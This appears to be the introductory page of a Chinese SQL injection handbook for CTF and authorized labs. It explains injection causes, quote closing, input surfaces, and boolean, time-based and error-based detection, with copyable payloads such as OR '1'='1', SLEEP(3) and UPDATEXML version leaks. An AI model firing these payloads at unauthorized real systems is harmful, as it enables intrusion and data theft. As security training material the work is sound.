总纲 · 认识与定位
先搞懂 SQL 注入是什么、注入成立的根因,以及本手册的安全边界与阅读方法。
什么是 SQL 注入 基础
把用户输入当成了 SQL 代码来执行
用户输入被拼接进 SQL 语句并执行,就造成注入。
核心:输入被当作“代码”而不是“数据”来解析。
# 正常
SELECT * FROM users WHERE id=350
# 注入:350 本身无含义,但 350 OR 1=1 把查询条件整段改写
SELECT * FROM users WHERE id=350 OR 1=1 # 永远为真 → 返回全部没有正确转义/参数化,输入直接进 SQL,就会被“读出代码的含义”。
注入原理与闭合 闭环
先闭合 → 再扩展 → 后注释
任何形式的 SQL 注入,都围绕三个动作:
- 闭合:用一个
'把原字符串引号“关掉” - 扩展:加上自己的永真/子查询/UNION
- 注释:用
-- -或#把后面不要的代码吃掉
?id=350-- - # 数字型:直接拼,不用引号
?name='woodpecker'-- - # 字符串型:需先闭合引号
?name=woodpecker' OR '1'='1'-- - # 恒真,绕开原条件
' 和 -- - 各试一次,“听响”最快。| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
' | 单引号 = 闭合符 | 喂一个能报错/变色/卡顿的单引号,基本就是字符串型 |
-- - | 行末注释 | 把后面 AND status=1 之类条件吃掉,让注入的部分独立生效 |
OR '1'='1' | 恒真条件 | 始终为真 → 绕过原 where 的条件判断 |
350 数字型 | 不带引号直接拼接 | 若 350-1 内容变化 → 数字型,直入 UNION 不用闭合 |
安全红线与授权 守则
只在有权限的环境里动手
这份手册用于攻防教学与授权靶场(CTF、HBC、自建 CTFd、本地靶场)。
这本手册怎么读 导航
分页串线,不留盲点
本手册已拆为 6 个主题页,按阶段递进:
- 入门·探测(本页 ← 你现在在这):判定有没有注入、是哪种
- 招式库:UNION / 报错 / 布尔 / 时间 / 堆叠,每种都配逐段拆解表
- 场景注入:GET/POST/Header/Cookie/搜索/登录/特殊位,选一个输入面就够了
- 绕过:被 WAF 或过滤拦截时怎么换写法
- 跨库:MySQL/MSSQL/PG/Oracle/SQLite 方言
- 深水区·实战:读/写文件、提权、命令执行、最终决策图
用法:顶部标签切页;每节可 “✓ 标记已掌握”跨页留存进度;每个 payload 可一键复制;每个代码块下都有一张详注表,解释每个函数/片段含义与拿到后往哪深挖。
①/② 探测 · 先确认“有没有”+“是哪型”
面对未知输入面:找全参数 → 五连问判型 → 落到具体招式。
输入面清单(在哪里注入) 找面
先想清楚“哪些参数能碰”
注入必须落在被拼进 SQL 的输入点。列一张清单,越全越好:
GET: ?id= / ?page= / ?type= / ?log= / ?uid=
POST: 表单字段 / JSON body / 搜索框 / 登录框
Header: User-Agent / Referer / Cookie / X-Forwarded-For
其他: 排序字段 ORDER 后的列 / 分页 LIMIT 的数字
隐藏: APIs 的 id、debug 参数、Batch 批量参数
值像“标识或数字”的越可疑(id/page/uid)。先每个参数随手一个 ',看谁来“报错”。
判断闭合方式 闭合
先知道它是“带引号拼”还是“裸拼”
第一步永远先判字符型还是数字型(即要不要闭合引号)。
?id=350 # 基准:正常页面
?id=350-1 # 若内容从 id=350 变 id=349 → 数字型直拼
?id=350' # 若报错(有闭合的单引号) → 字符型
?id=350' AND '1'='1 # 字符串恒真:内容变多=闭合成功
①变了 → 数字型;②③④对单引号有反应 → 字符型。数字型可直接 UNION,字符型先记下闭合符。
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
350-1 | 数字参与运算 | 内容跟着变 → 数字型,字段直接拼在数字位置 |
350' | 在数字后加单引号 | 报错 → 有人把 id 当字符串拼了,需要闭合 |
350' AND '1'='1 | 闭合 + 恒真 | 内容变多/正常 → 单引号闭合成功,可在此扩展 |
真值判定(布尔) 布尔
用“对/错”确认注入成立
最可靠的确认:让条件
真→正常、假→空/少记录,看两态分不分明。
?id=350 AND 1=1-- - # 真:内容不变
?id=350 AND 1=2-- - # 假:内容变空/变少/报错
两态分明 → 注入成立,且可直接走布尔盲注。若输入被过滤(and/or),见关键字绕过。
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
AND 1=1 | 恒真:原逻辑不变 | 第一种状态=页面 A |
AND 1=2 | 恒假:条件被冲掉 | 第二种状态=页面 B;两态分得开 → 可当信道 |
两态信道 | 真/假 → 0/1 | 这正是盲注逐位猜数据的原理,见 布尔盲注 |
时间判定 时间
用“快不快”做信号(内容恒定时)
当页面内容永远一样、布尔分不出来时,用延迟当信号:真→睡 3 秒,假→秒回。
?id=350 AND SLEEP(3)-- - # 卡了≈3秒 → 注入成立
?id=350 AND IF(1=1,SLEEP(3),0)-- -
能睡 → 注入成立,可走时间盲注。注意有些 WAF 对 SLEEP 敏感,见WAF 规避。
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
SLEEP(3) | 让查询卡住 N 秒 | 时间盲注的信号:真→卡、假→秒回 |
IF(cond,a,b) | 条件表达式,真返 a 假返 b | 把"是不是"编码成能区分的差异 |
AND SLEEP(3) | 延迟作为判断载体 | 真→睡、假→秒回,用计时差异当信道 |
报错诱导 报错
让数据库把信息读进报错里
如果页面把数据库错误原样显示,就能让查询结果通过报错传出来。
?id=350 AND UPDATEXML(1,CONCAT(0x7e,(SELECT version()),0x7e),1)-- -
# 输出类似: XPATH syntax error: ~8.0.33~
报错里带出 ~值~ → 注入成立,走报错注入。若“页面不报错但有变化”→ 回到布尔/时间。
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
UPDATEXML()/EXTRACTVALUE() | MySQL 报错函数 | 单次约 32 字符,超长用 mid() 分段 |
0x7e | 字符 ~ 的十六进制 | 包住值,让回显一眼看清边界 |
version() | 数据库版本号 | 定版本 → 决定 information_schema 有无、报错函数/UDF 是否可行 |
CONCAT(0x7e,..,0x7e) | 把子查询值包进 ~ ~ 中间 | 让值在报错里显眼可见,一眼看清边界 |
数据库指纹 指纹
先认库再选 payload
不同数据库的语法、注释符、系统表都不一样。五问里顺手把库认出来。
MySQL: version() 报错常带 MySQL/x' > -- 注释是 --空格 或 #
MSSQL: @@version / CONVERT(int,..) 报错
PG: PG_SLEEP() / CAST(x AS int) 报错
Oracle: || 拼接 / FROM dual
SQLite: sqlite_master / 报错里带 SQLite